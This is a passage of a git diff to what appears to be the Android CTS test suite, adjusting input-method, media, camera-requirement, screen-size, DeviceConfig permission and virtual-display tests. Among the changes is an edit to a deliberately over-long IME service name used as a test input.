+ return mFullConfiguration;
+ }
+
boolean isWindowingModeCompatible(int requestedWindowingMode) {
if (requestedWindowingMode == WINDOWING_MODE_UNDEFINED) {
return true;
diff --git a/tests/inputmethod/mocklargeresourceime/AndroidManifest.xml b/tests/inputmethod/mocklargeresourceime/AndroidManifest.xml
index 39e4ca01f56..d8edb1960ec 100644
--- a/tests/inputmethod/mocklargeresourceime/AndroidManifest.xml
+++ b/tests/inputmethod/mocklargeresourceime/AndroidManifest.xml
@@ -29,7 +29,7 @@
</intent-filter>
<meta-data android:name="android.view.im" android:resource="@xml/largeresource"/>
</service>
- <service android:name=".services.imeservice_with_very_long_name_that_should_be_excluded_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+ <service android:name=".services.imeservice_with_very_long_name_that_should_be_excluded_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
android:permission="android.permission.BIND_INPUT_METHOD" android:exported="true">
<intent-filter>
<action android:name="android.view.InputMethod"/>
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
index 3b6c93dd4ef..9c94bf9f3e3 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
@@ -425,6 +425,7 @@ public class FocusHandlingTest extends EndToEndImeTestBase {
@ApiTest(apis = {"android.inputmethodservice.InputMethodService#showSoftInput"})
@Test
public void testSoftInputStateAlwaysVisibleFocusEditorAfterLaunch() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
try (MockImeSession imeSession = createTestImeSession()) {
final ImeEventStream stream = imeSession.openEventStream();
@@ -955,6 +956,7 @@ public class FocusHandlingTest extends EndToEndImeTestBase {
@Test
public void testUnfocusedEditor_stateHidden_hidesIme() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
ImeEventStream stream = startFocusedEditorActivity_thenAnotherUnfocusedEditorActivity(
SOFT_INPUT_STATE_HIDDEN);
expectImeHidden(stream);
@@ -963,6 +965,7 @@ public class FocusHandlingTest extends EndToEndImeTestBase {
@Test
public void testUnfocusedEditor_stateAlwaysHidden_hidesIme() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
ImeEventStream stream = startFocusedEditorActivity_thenAnotherUnfocusedEditorActivity(
SOFT_INPUT_STATE_ALWAYS_HIDDEN);
expectImeHidden(stream);
@@ -973,6 +976,7 @@ public class FocusHandlingTest extends EndToEndImeTestBase {
@ApiTest(apis = {"android.inputmethodservice.InputMethodService#onStartInput",
"android.inputmethodservice.InputMethodService#showSoftInput"})
public void testUnfocusedEditor_stateVisible() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
ImeEventStream stream = startFocusedEditorActivity_thenAnotherUnfocusedEditorActivity(
SOFT_INPUT_STATE_VISIBLE);
// The previous IME should be finished
@@ -998,6 +1002,7 @@ public class FocusHandlingTest extends EndToEndImeTestBase {
@ApiTest(apis = {"android.inputmethodservice.InputMethodService#onStartInput",
"android.inputmethodservice.InputMethodService#showSoftInput"})
public void testUnfocusedEditor_stateAlwaysVisible() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
ImeEventStream stream = startFocusedEditorActivity_thenAnotherUnfocusedEditorActivity(
SOFT_INPUT_STATE_ALWAYS_VISIBLE);
// The previous IME should be finished
@@ -1023,6 +1028,7 @@ public class FocusHandlingTest extends EndToEndImeTestBase {
@ApiTest(apis = {"android.inputmethodservice.InputMethodService#onStartInput",
"android.inputmethodservice.InputMethodService#showSoftInput"})
public void testUnfocusedEditor_stateUnchanged() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
ImeEventStream stream = startFocusedEditorActivity_thenAnotherUnfocusedEditorActivity(
SOFT_INPUT_STATE_UNCHANGED);
// The previous IME should be finished
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
index 9a03eb8ea16..90b0bb46366 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
@@ -70,6 +70,7 @@ import com.android.cts.mockime.ImeEventStream;
import com.android.cts.mockime.ImeSettings;
import com.android.cts.mockime.MockImeSession;
+import org.junit.Assume;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -96,6 +97,7 @@ public class ImeInsetsVisibilityTest extends EndToEndImeTestBase {
@Test
public void testImeVisibilityWhenImeFocusableChildPopup() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
final InputMethodManager imm = getImmOrFail();
try (MockImeSession imeSession = MockImeSession.create(
@@ -143,6 +145,7 @@ public class ImeInsetsVisibilityTest extends EndToEndImeTestBase {
@Test
public void testImeVisibilityWhenImeFocusableGravityBottomChildPopup() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
final InputMethodManager imm = getImmOrFail();
try (MockImeSession imeSession = MockImeSession.create(
@@ -191,6 +194,7 @@ public class ImeInsetsVisibilityTest extends EndToEndImeTestBase {
@Test
public void testImeVisibilityWhenImeFocusableChildPopupOverlaps() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
final InputMethodManager imm = getImmOrFail();
try (MockImeSession imeSession = MockImeSession.create(
@@ -240,6 +244,7 @@ public class ImeInsetsVisibilityTest extends EndToEndImeTestBase {
@AppModeFull(reason = "Instant apps cannot rely on ACTION_CLOSE_SYSTEM_DIALOGS")
@Test
public void testEditTextPositionAndPersistWhenAboveImeWindowShown() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
final InputMethodManager imm = getImmOrFail();
try (MockImeSession imeSession = MockImeSession.create(
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
index 06e7fff09ee..8d29069c057 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
@@ -104,6 +104,7 @@ import com.android.cts.mockime.ImeEventStream;
import com.android.cts.mockime.ImeSettings;
import com.android.cts.mockime.MockImeSession;
+import org.junit.Assume;
import org.junit.Before;
import org.junit.Ignore;
import org.junit.Rule;
@@ -210,6 +211,7 @@ public class InputMethodServiceTest extends EndToEndImeTestBase {
@Test
public void testSwitchInputMethod_verifiesEnabledState() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
SystemUtil.runShellCommand("ime disable " + OTHER_IME_ID);
try (MockImeSession imeSession = MockImeSession.create(
InstrumentationRegistry.getInstrumentation().getContext(),
@@ -233,6 +235,7 @@ public class InputMethodServiceTest extends EndToEndImeTestBase {
}
@Test
public void testSwitchInputMethodWithSubtype_verifiesEnabledState() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
SystemUtil.runShellCommand("ime disable " + OTHER_IME_ID);
try (MockImeSession imeSession = MockImeSession.create(
InstrumentationRegistry.getInstrumentation().getContext(),
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
index 266621f9855..dd0a225bbb8 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
@@ -48,6 +48,7 @@ import com.android.cts.mockime.ImeEventStream;
import com.android.cts.mockime.ImeSettings;
import com.android.cts.mockime.MockImeSession;
+import org.junit.Assume;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -179,6 +180,7 @@ public class SearchViewTest extends EndToEndImeTestBase {
@Test
public void testShowImeWhenSearchViewFocusInListView() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
try (MockImeSession imeSession = MockImeSession.create(
InstrumentationRegistry.getInstrumentation().getContext(),
InstrumentationRegistry.getInstrumentation().getUiAutomation(),
diff --git a/tests/media/common/src/android/mediav2/common/cts/EncoderConfigParams.java b/tests/media/common/src/android/mediav2/common/cts/EncoderConfigParams.java
index 8afd4cbf0b7..dbd0aace848 100644
--- a/tests/media/common/src/android/mediav2/common/cts/EncoderConfigParams.java
+++ b/tests/media/common/src/android/mediav2/common/cts/EncoderConfigParams.java
@@ -417,6 +417,12 @@ public class EncoderConfigParams {
public Builder setProfile(int profile) {
this.mProfile = profile;
+ // encoder profile requires also level to be set prior to Android U,
+ // but this can be a default/unknown value. Setting this to 1 as all
+ // codecs use a value of 1 for lowest level.
+ if (mLevel < 0) {
+ mLevel = 1;
+ }
return this;
}
diff --git a/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp b/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
index f1f051baae9..b05b275921d 100644
--- a/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
+++ b/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
@@ -320,6 +320,8 @@ bool CodecEncoderSurfaceTest::dequeueEncoderOutput(size_t bufferIndex,
if (info->size > 0) {
size_t buffSize;
uint8_t* buf = AMediaCodec_getOutputBuffer(mEncoder, bufferIndex, &buffSize);
+ // NdkMediaCodec calls ABuffer::data, which already adds offset
+ info->offset = 0;
if (mSaveToMem) {
mOutputBuff->saveToMemory(buf, info);
}
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java b/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
index cd5f0f33af7..996ac26c783 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
@@ -1516,14 +1516,9 @@ public class PerformanceClassEvaluator {
reqMet);
}
- public void setFrontLogicalMultiCameraReqMet(boolean reqMet) {
- this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET,
- reqMet);
- }
-
/**
* [2.2.7.2/7.5/H-1-13] MUST support LOGICAL_MULTI_CAMERA capability for the primary
- * cameras if there are greater than 1 RGB cameras facing the same direction.
+ * rear-facing camera if there are greater than 1 RGB rear-facing cameras.
*/
public static LogicalMultiCameraRequirement createLogicalMultiCameraReq() {
RequiredMeasurement<Boolean> rearRequirement = RequiredMeasurement
@@ -1533,16 +1528,9 @@ public class PerformanceClassEvaluator {
.addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
.addRequiredValue(Build.VERSION_CODES.UPSIDE_DOWN_CAKE, true)
.build();
- RequiredMeasurement<Boolean> frontRequirement = RequiredMeasurement
- .<Boolean>builder()
- .setId(RequirementConstants.FRONT_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET)
- .setPredicate(RequirementConstants.BOOLEAN_EQ)
- .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
- .addRequiredValue(Build.VERSION_CODES.UPSIDE_DOWN_CAKE, true)
- .build();
return new LogicalMultiCameraRequirement(RequirementConstants.R7_5__H_1_13,
- rearRequirement, frontRequirement);
+ rearRequirement);
}
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanLargerThanVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanLargerThanVerification.java
index 35fc29b93bc..e2b7666dc2a 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanLargerThanVerification.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanLargerThanVerification.java
@@ -33,7 +33,7 @@ public class MeanLargerThanVerification extends AbstractMeanVerification {
public static final String PASSED_KEY = "mean_larger_than_passed";
private static final String TAG = "MeanLargerThanVerification";
- private static final float DEFAULT_GYRO_UNCAL_THRESHOLD = 0.0005f;
+ private static final float DEFAULT_GYRO_UNCAL_THRESHOLD = 0.0002f;
private final float[] mExpected;
private final float[] mThresholds;
diff --git a/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java b/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
index 64b664aa88a..6a3f4616434 100644
--- a/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
@@ -84,6 +84,9 @@ class InterfaceChecker {
HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.inputmethod.InputMethodSession.notifyImeHidden()");
HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.inputmethod.InputMethodSession.removeImeSurface()");
HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.bluetooth.BluetoothProfile.close()");
+ HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract android.bluetooth.BluetoothAdapter android.bluetooth.BluetoothProfile.getAdapter()");
+ HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.bluetooth.BluetoothProfile.onServiceConnected(android.os.IBinder)");
+ HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.bluetooth.BluetoothProfile.onServiceDisconnected()");
}
private final ResultObserver resultObserver;
diff --git a/tests/surfacecontrol/src/android/view/surfacecontrol/cts/SurfaceViewSyncTest.java b/tests/surfacecontrol/src/android/view/surfacecontrol/cts/SurfaceViewSyncTest.java
index ad28177b4a9..0c80ed506f6 100644
--- a/tests/surfacecontrol/src/android/view/surfacecontrol/cts/SurfaceViewSyncTest.java
+++ b/tests/surfacecontrol/src/android/view/surfacecontrol/cts/SurfaceViewSyncTest.java
@@ -39,6 +39,7 @@ import android.view.cts.surfacevalidator.ViewFactory;
import android.widget.FrameLayout;
import androidx.test.filters.LargeTest;
+import androidx.test.filters.RequiresDevice;
import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
@@ -51,6 +52,7 @@ import org.junit.runner.RunWith;
@RunWith(AndroidJUnit4.class)
@LargeTest
@SuppressLint("RtlHardcoded")
+@RequiresDevice
public class SurfaceViewSyncTest {
private static final String TAG = "SurfaceViewSyncTests";
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
index d6e845d452d..ce8fdd7b094 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
@@ -41,6 +41,7 @@ import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.UiObject2;
import androidx.test.uiautomator.Until;
+import com.android.compatibility.common.util.ApiTest;
import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.PollingCheck;
@@ -295,10 +296,11 @@ public class BugreportManagerTest extends BaseCarrierApiTest {
assertExceptionThrownForMode(-1, IllegalArgumentException.class);
}
+ @ApiTest(apis = {"android.os.BugreportParams#getMode"})
@Test
public void startBugreport_invalidMode() throws Exception {
- // Current max is BUGREPORT_MODE_DEFAULT (6) as defined by the AIDL.
- assertExceptionThrownForMode(7, IllegalArgumentException.class);
+ // Current max is BUGREPORT_MODE_ONBOARDING (7) as defined by the AIDL.
+ assertExceptionThrownForMode(8, IllegalArgumentException.class);
}
/* Implementatiion of {@link BugreportCallback} that offers wrappers around execution result */
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
index feb3a8908a0..aa8521d3176 100644
--- a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
@@ -68,8 +68,8 @@ public final class DeviceConfigApiPermissionTests {
.dropShellPermissionIdentity();
}
/**
- * Checks that when application does not have READ_DEVICE_CONFIG or WRITE_DEVICE_CONFIG
- * permissions it cannot access any of DeviceConfig API methods
+ * Checks that when application does not have WRITE_DEVICE_CONFIG
+ * permissions it cannot access any write DeviceConfig API methods
* @throws Exception
*/
@Test
@@ -81,10 +81,6 @@ public final class DeviceConfigApiPermissionTests {
trySetPropertiesWithoutWritePermission(violations);
tryDeletePropertyWithoutWritePermission(violations);
- // getters without read permission
- tryGetPropertyWithoutReadPermission(violations);
- tryGetPropertiesWithoutReadPermission(violations);
-
// Bail if we found any violations
if (violations.length() > 0) {
fail(violations.toString());
@@ -107,10 +103,6 @@ public final class DeviceConfigApiPermissionTests {
trySetPropertyWithWritePermission(violations);
trySetPropertiesWithWritePermission(violations);
- // getters without read permission
- tryGetPropertyWithoutReadPermission(violations);
- tryGetPropertiesWithoutReadPermission(violations);
-
// Bail if we found any violations
if (violations.length() > 0) {
fail(violations.toString());
@@ -304,24 +296,6 @@ public final class DeviceConfigApiPermissionTests {
}
}
- private void tryGetPropertyWithoutReadPermission(StringBuilder violations) {
- try {
- DeviceConfig.getProperty(NAMESPACE, KEY);
- violations.append("DeviceConfig.getProperty() must not be accessible without "
- + "READ_DEVICE_CONFIG permission.\n");
- } catch (SecurityException e) {
- }
- }
-
- private void tryGetPropertiesWithoutReadPermission(StringBuilder violations) {
- try {
- DeviceConfig.getProperties(NAMESPACE2);
- violations.append("DeviceConfig.getProperties() must not be accessible without "
- + "READ_DEVICE_CONFIG permission.\n");
- } catch (SecurityException e) {
- }
- }
-
private void trySetPropertyWithWritePermission(StringBuilder violations) {
try {
DeviceConfig.setProperty(NAMESPACE, KEY, VALUE, /*makeDefault=*/ false);
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
index 6cd292ac771..5f27a97a4e9 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
@@ -48,13 +48,20 @@ public class ConfigurationTest extends AndroidTestCase {
display.getRealMetrics(mMetrics);
}
+ @CddTest(requirement = "2.2.1")
@Presubmit
public void testScreenConfiguration() {
double xInches = (double) mMetrics.widthPixels / mMetrics.xdpi;
double yInches = (double) mMetrics.heightPixels / mMetrics.ydpi;
double diagonalInches = Math.sqrt(Math.pow(xInches, 2) + Math.pow(yInches, 2));
double minSize = 2.5d;
- if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.R) {
+ double minShortEdgeInches = 0.0d;
+ double minLongEdgeInches = 0.0d;
+ if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
+ minSize = 4.04d;
+ minShortEdgeInches = 2.2d;
+ minLongEdgeInches = 3.4d;
+ } else if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.R) {
minSize = 3.3d;
}
if (FeatureUtil.isWatch()) {
@@ -64,8 +71,20 @@ public class ConfigurationTest extends AndroidTestCase {
// Cars have a different minimum diagonal.
minSize = 6.0d;
}
+
assertTrue("Screen diagonal must be at least " + minSize + " inches: " + diagonalInches,
diagonalInches >= minSize);
+ // We can only verify short and long edge screen dimensions on non watch and auto devices.
+ if (!FeatureUtil.isAutomotive() && !FeatureUtil.isWatch()) {
+ assertTrue(
+ "Screen short edge must be at least " + minShortEdgeInches + " inches: "
+ + Math.min(xInches, yInches),
+ Math.min(xInches, yInches) >= minShortEdgeInches);
+ assertTrue(
+ "Screen long edge must be at least " + minLongEdgeInches + " inches: "
+ + Math.max(xInches, yInches),
+ Math.max(xInches, yInches) >= minLongEdgeInches);
+ }
double density = 160.0d * mMetrics.density;
assertTrue("Screen density must be at least 100 dpi: " + density, density >= 100.0d);
diff --git a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
index 5a01cbb2a53..079471633ff 100644
--- a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
+++ b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
@@ -440,7 +440,8 @@ public class FrameRateCtsActivity extends Activity {
List<Float> seamedRefreshRates = new ArrayList<>();
Display.Mode[] modes = display.getSupportedModes();
for (Display.Mode otherMode : modes) {
- if (!DisplayUtil.isModeSwitchSeamless(mode, otherMode)) {
+ if (hasSameResolution(mode, otherMode)
+ && !DisplayUtil.isModeSwitchSeamless(mode, otherMode)) {
seamedRefreshRates.add(otherMode.getRefreshRate());
}
}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualDeviceTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualDeviceTestCase.java
index fc03d5b1dd7..afa7cc1f01a 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualDeviceTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualDeviceTestCase.java
@@ -16,6 +16,8 @@
package android.hardware.input.cts.tests;
+import static android.Manifest.permission.ADD_TRUSTED_DISPLAY;
+import static android.Manifest.permission.CREATE_VIRTUAL_DEVICE;
import static android.content.pm.PackageManager.FEATURE_FREEFORM_WINDOW_MANAGEMENT;
import static org.junit.Assert.fail;
@@ -33,6 +35,7 @@ import android.graphics.Point;
import android.graphics.SurfaceTexture;
import android.hardware.display.DisplayManager;
import android.hardware.display.VirtualDisplay;
+import android.hardware.display.VirtualDisplayConfig;
import android.hardware.input.InputManager;
import android.os.Bundle;
import android.os.Handler;
@@ -68,14 +71,11 @@ public abstract class VirtualDeviceTestCase extends InputTestCase {
protected static final int DISPLAY_WIDTH = 100;
protected static final int DISPLAY_HEIGHT = 100;
- // Uses:
- // Manifest.permission.CREATE_VIRTUAL_DEVICE,
- // Manifest.permission.ADD_TRUSTED_DISPLAY
- // These cannot be specified as part of the call as ADD_TRUSTED_DISPLAY is hidden and therefore
- // not visible to CTS.
@Rule
public AdoptShellPermissionsRule mAdoptShellPermissionsRule = new AdoptShellPermissionsRule(
- InstrumentationRegistry.getInstrumentation().getUiAutomation());
+ InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+ CREATE_VIRTUAL_DEVICE,
+ ADD_TRUSTED_DISPLAY);
private final CountDownLatch mLatch = new CountDownLatch(1);
private final InputManager.InputDeviceListener mInputDeviceListener =
@@ -109,7 +109,9 @@ public abstract class VirtualDeviceTestCase extends InputTestCase {
@Override
public void close() {
InstrumentationRegistry.getInstrumentation().getUiAutomation()
- .adoptShellPermissionIdentity();
+ .adoptShellPermissionIdentity(
+ CREATE_VIRTUAL_DEVICE,
+ ADD_TRUSTED_DISPLAY);
}
}
@@ -149,7 +151,7 @@ public abstract class VirtualDeviceTestCase extends InputTestCase {
/* height= */ DISPLAY_HEIGHT,
/* dpi= */ 50,
/* surface= */ new Surface(new SurfaceTexture(ARBITRARY_SURFACE_TEX_ID)),
- /* flags= */ 0,
+ /* flags= */ DisplayManager.VIRTUAL_DISPLAY_FLAG_TRUSTED,
/* executor= */ Runnable::run,
/* callback= */ null);
if (mVirtualDisplay == null) {
@@ -253,12 +255,11 @@ public abstract class VirtualDeviceTestCase extends InputTestCase {
}
public VirtualDisplay createUnownedVirtualDisplay() {
- return DisplayManager.createVirtualDisplay(
- "test",
- /* width= */ DISPLAY_WIDTH,
- /* height= */ DISPLAY_HEIGHT,
- /* displayIdToMirror= */ 50,
- /* surface= */ null
- );
+ Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ DisplayManager displayManager = context.getSystemService(DisplayManager.class);
+ VirtualDisplayConfig config = new VirtualDisplayConfig.Builder(
+ "testVirtualDisplay", DISPLAY_WIDTH, DISPLAY_HEIGHT, /*densityDpi=*/100)
+ .build();
+ return displayManager.createVirtualDisplay(config);
}
}
diff --git a/tests/tests/hibernation/src/android/hibernation/cts/AppHibernationUtils.kt b/tests/tests/hibernation/src/android/hibernation/cts/AppHibernationUtils.kt
index 17aa9be651f..a6808c0977c 100644
--- a/tests/tests/hibernation/src/android/hibernation/cts/AppHibernationUtils.kt
